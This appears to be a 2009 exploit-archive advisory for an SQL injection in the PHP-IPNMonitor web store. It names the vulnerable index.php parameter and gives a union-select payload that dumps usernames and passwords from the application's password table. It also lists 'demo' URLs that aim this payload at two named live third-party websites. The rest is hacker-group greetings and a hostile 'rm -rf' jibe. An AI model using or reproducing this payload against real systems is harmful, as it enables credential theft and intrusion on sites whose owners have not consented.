34 lines
No EOL
1.2 KiB
Text
34 lines
No EOL
1.2 KiB
Text
[+]
|
|
[+] SQL injection vulnerability
|
|
[+] PHP-IPNMonitor - sell digital downloads online
|
|
[+] Download : http://www.withinweb.com/phpipnmonitor/
|
|
[+] noname[at]antisecurity.org
|
|
|
|
[+] Bugs = index.php?maincat_id=
|
|
|
|
[+] exploit = -null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
|
|
|
|
|
|
[+] Example
|
|
[+] : http://localhost/[patch]/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
|
|
|
|
|
|
|
|
[+] Demo
|
|
[+] : http://www.beardsmith.com/ipnmonitor/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
|
|
[+] : http://www.earrelaphant.com/ipnmonitor/cart/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
|
|
|
|
|
|
|
|
[+] colek-colek
|
|
[+] : Antisecurity[dot]Org www.MainHack.net www.ServerIsDown.org
|
|
[+] Jack-, Vrs_hCk, OoN_Boy, NoGe, zxvf, Yadoy666, s3t4n, r3v4n_b4st4rd, pizzyroot, em|nem, s4va, kecemplungkalen, xr00tb0y
|
|
[+] xshadow, Madonk, Tante Angela Chang, IrcMafia
|
|
[+] Indonesian Coder
|
|
[+] Don Tukulesto, M3NW5, m364tr0n, cyb3r_tr0n
|
|
[+]
|
|
[+] crotz
|
|
[+] : rm -rf malingsia
|
|
[+]
|
|
|
|
# milw0rm.com [2009-09-11] |